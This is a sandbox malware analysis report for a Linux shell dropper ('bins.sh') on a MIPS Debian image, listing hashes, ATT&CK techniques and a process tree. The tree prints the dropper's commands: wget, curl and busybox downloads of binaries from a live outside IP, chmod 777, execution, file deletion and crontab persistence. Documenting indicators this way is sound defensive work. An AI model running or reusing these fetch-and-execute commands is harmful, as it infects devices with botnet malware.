ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423

Analysis

max time kernel
123s
max time network
77s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 23:56

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General

Target

bins.sh
Size

10KB
MD5

81a496ac5416f01f492d7eb50039a21c
SHA1

ecfdd7164357b662411ff449bec53c5a7aebc3cf
SHA256

ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423
SHA512

45b404d7ae5e72ba3958dd00940279dfbf8241c3cf0b9f85a3c8735ebec4fb038a3159df3a80636388025d7149d216ca1a9587dd99c5ecde8754380b8a3ee4be
SSDEEP

96:UmC6SBd7G2JT0a6MHjOszPlaqL7Z7p7Fa2F8mEwFC6SBd7wJfbozzPlaqLWy7Z7Z:Un02VUmF1Fa2ypF1Fa2l

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

741 chmod
748 chmod

pid	process
741	chmod
748	chmod

Executes dropped EXE 2 IoCs

Processes:

LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

ioc	pid	process
/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	742	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	749	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

Renames itself 1 IoCs

Processes:

gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

pid process

750 gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.FW7Bzk crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
750	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.FW7Bzk	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqqcurlcurl

description	ioc	process
File opened for reading	/proc/813/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/116/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/166/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/387/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/760/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/4/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/803/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/671/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/10/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/831/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/17/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/106/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/358/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/419/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/15/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/717/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/359/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/19/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/708/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/758/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/827/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/3/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/377/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/702/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/736/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/764/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/5/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/795/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/11/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/22/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/24/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/82/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/330/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/678/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/117/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/755/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/807/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/72/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/798/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/775/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/328/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/665/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/756/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/14/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/84/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/780/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/788/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/2/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/326/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/706/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/768/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/23/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/77/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/757/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/73/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/71/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/79/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/243/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/759/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/762/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/821/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
File opened for reading	/proc/12/cmdline	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	wget
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	curl
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	busybox
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	wget
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	curl
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Writes file to tmp directory
  PID:722
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  ./LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  ./gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:749
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:751
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:752
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:753
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:754
- /bin/rm
  rm gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  PID:756
- /usr/bin/wget
  wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.FW7Bzk

Filesize
210B

MD5
ac029c32013dc6c7f8b4ef866a036bf7

SHA1
f170b68537dc21ea9d5e9be4eee7f70fb706b89a

SHA256
c87e9b8b315918151bbadfafec95533ab83571bc7d9c213b28bb2eb0c58605cd

SHA512
5b13089a63e837eb72c7c89af8edab97d3b576cdc7182fcf7c453ff2c831a6b028128f39dc2967a93f5d927076afb1cec43d1c8a7a35ee0814a35606bed70357

Download Submit